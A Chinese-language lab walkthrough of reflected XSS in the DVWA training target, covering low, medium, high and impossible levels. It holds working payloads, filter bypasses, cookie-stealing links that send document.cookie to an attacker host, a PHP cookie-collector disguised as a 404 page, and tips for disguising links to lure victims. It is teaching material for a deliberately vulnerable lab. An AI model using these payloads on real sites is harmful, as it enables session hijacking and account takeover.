DVWA靶機-反射性XSS漏洞(Reflected)
DVWA靶機-暴力破解(Brute Force) && DVWA靶機的四個安全等級
DVWA靶機-命令注入漏洞(Command Injection)
DVWA靶機-文件包含漏洞(File Inclusion)
DVWA靶機-文件上傳漏洞(File uploads)
DVWA靶機-跨站請求僞造(CSRF)
XSS跨站腳本攻擊
XSS(Cross Site Script):全稱爲跨站腳本攻擊,爲了與CSS(Cascading Style Sheet)層疊樣式表有所區別,所以在安全領域稱之爲XSS。
XSS攻擊:通常指黑客通過HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網頁時,加載並執行攻擊者惡意製造的網頁程序,通常指JS,實際可包含java、VBscript、ActiveX、Flash、html,攻擊成功後,攻擊者可能得到一定的權限,私密網頁內容,會話,cookie等。
這種行爲最初出現之時,所有的XSS攻擊案例都是跨域行爲,所以叫做跨站腳本。時至今日,隨着WEB端功能的複雜化,應用化,是否跨站已經不重要但是XSS這個名字依然留存下來。
反射性XSS挖掘方法
1.反射型XSS漏洞可能存在的環境
我們在許多網頁中可能都有搜索欄,在搜索欄中輸入關鍵詞查找後,頁面回回顯全部的或者部分的關鍵詞,且在url中也會出現該關鍵詞,此時該網頁可能就存在反射性XSS漏洞。
此時可以做一個簡單的測試,測試是否爲GET型傳參
alert()函數: 彈窗函數
<script>alert(1)</script>
2.漏洞檢驗-惡意代碼化
此時漏洞就發現了,我們可以編輯惡意型的代碼插入url中執行.
3.生成鏈接,誘導被攻擊者點擊
當發現這個漏洞後,我們需要對插入了惡意代碼的鏈接進行變形、比如長鏈接變短鏈接、長鏈接變二維碼、圖片鏈接等,目的就是要誘導用戶來點擊該鏈接,從而達成攻擊的效果。
1.DVWA-LOW等級下的反射型XSS漏洞
(1).本地用戶登錄,測試XSS漏洞所在位置
在LOW等級下,Reflectd型XSS的頁面回顯如下,在搜索欄裏輸入123,頁面回顯123,且在url中123也出現,此時該頁面可能存在反射型XSS漏洞,同時也不存在任何防護的安全策略,我們可以實施攻擊。
可以查到搜索欄的源代碼
在回顯Hello 123時使用的爲<pre>Hello 123</pre>
此時我們可以考慮打破<pre>
的閉合,在輸入中加入其它函數或者標籤。
alert() && confirm() && prompt()函數: 都爲彈窗函數
我們在url中name後面加入<script>alert(1)</script>
打破<pre>
閉合,此時alert()函數執行,彈出1
此時可以進行一些有攻擊性的操作,我們在url中構造出獲取被攻擊者cookie值的函數,盜取用戶的cookie值。
(2).構造惡意鏈接、盜取用戶cookie
document.location: 指定cookie傳送站點
10.113.241.2: 爲攻擊者服務器
document.cookie: 獲取當前用戶的cookie值
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>
xss.php:爲LOW等級下獲取cookie的處理方法
//xss.php
<?php
$cookie = $_GET['cookie']; //獲取cookie變量的值
$log = fopen("cookie.txt","w"); //創建並打開一個cookie.txt的文本權限爲寫入
fwrite($log,$cookie."\n"); //把cookie的值寫入創建的文本
fclose($log); //關閉文本
?>
<h1>404<h1>
<h2>file not found.<h2>
當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss.php文件,xss.php中定義文件操作,將獲取的cookie寫入cookie.txt文件,此時攻擊者就獲取了用戶的cookie值。
如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E
被攻擊者點擊該鏈接後就會彈窗到如下頁面
要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。
圖中爲用戶點擊惡意鏈接後在攻擊者本地生成的cookie.txt文件,裏面已經寫入了用戶的cookie值。
(3).以用戶的身份認證(cookie值)登錄網站
在DVWA中對於cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接
在這塊,由於之前的cookie,我在瀏覽器中清除了一次,在此處爲了演示步驟,直接用cookie值連接,原理相同
LOW 等級下的反射性XSS源碼:
XSS (Reflected) Source:
array_key_exists()函數: 檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false
array_key_exists(key,array):key和array都是必須存在的,key爲規定鍵名,array爲規定數組。
在源終GET得到的值是以數組的形式,然後判斷GET得到的name是不是空,不爲空,執行echo語句。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
2.DVWA-Medium等級下的反射型XSS漏洞
(1).漏洞測試
在Medium等級下,必然存在着一些過濾策略,同low等級一樣,漏洞的位置是一樣的
此時我們用alert()函數,彈窗函數,測試是否能利用<script></script>
標籤是否可用
此時發現alert()函數不能彈窗,且頁面回顯alert(1),此時我們可以分析到<script></script>
未能起到作用,應該是被過濾,我們查看Medium等級下的源碼
XSS (Reflected) Source:
str_repalce()函數: 在此處過濾了標籤<script></script>
,將GET中輸入中的script標籤替換爲空
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
繞過str_replace()函數:
1.雙寫繞過,雙寫<script>
<scri<script>pt>alert(1)</script>
2.大小寫字母繞過,str_replace()函數替換的爲字符串,此時可以將script標籤改爲大寫繞過
<ScRipt>alert(1)<ScRipt>
(2).構造惡意鏈接、盜取用戶cookie
同low等級一樣,構造的惡意鏈接爲
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>
與low等級不同的是,<ScRipt></ScRipt>
xss1.php:爲Medium等級下獲取cookie的處理方法
創建的用戶保存用戶cookie的文檔爲,cookie1.txt文檔
//xss1.php
<?php
$cookie = $_GET['cookie']; //獲取cookie變量的值
$log = fopen("cookie1.txt","w"); //創建並打開一個cookie1.txt的文本權限爲寫入
fwrite($log,$cookie."\n"); //把cookie的值寫入創建的文本
fclose($log); //關閉文本
?>
<h1>404<h1>
<h2>file not found.<h2>
當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss1.php文件,xss1.php中定義文件操作,將獲取的cookie寫入cookie1.txt文件,此時攻擊者就獲取了用戶的cookie值。
如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E
要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。
此時cookie1.txt中已經寫入cookie值
(3).以用戶的身份認證(cookie值)登錄網站
在DVWA中對於cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接
3.DVWA-High等級下的反射性XSS漏洞
在High等級下必然定義了比Medium等級更強的安全策略,我們查看其源碼
High等級下的反射性XSS源碼:
preg_replace()函數: 函數用於正則表達式的搜索和替換,替換爲空,i爲不區分大小寫
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
繞過方法:
使用其他的標籤,<img src=x onerror=alert(1)>
img調用圖片,在此處,當圖片的src所指的路徑不存在圖片,則彈出對話框,回顯1
由於preg_replace()函數,此時像low和medium等級的構造惡意鏈接方式不可用
4.impossible等級
impossible等級防範XSS反射型的一個案例,相當強大
impossible等級源碼:
impossible Reflected XSS Source:
htmlspecialchars()函數: 將特殊字符轉換爲 HTML 實體
token機制: 隨機值
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>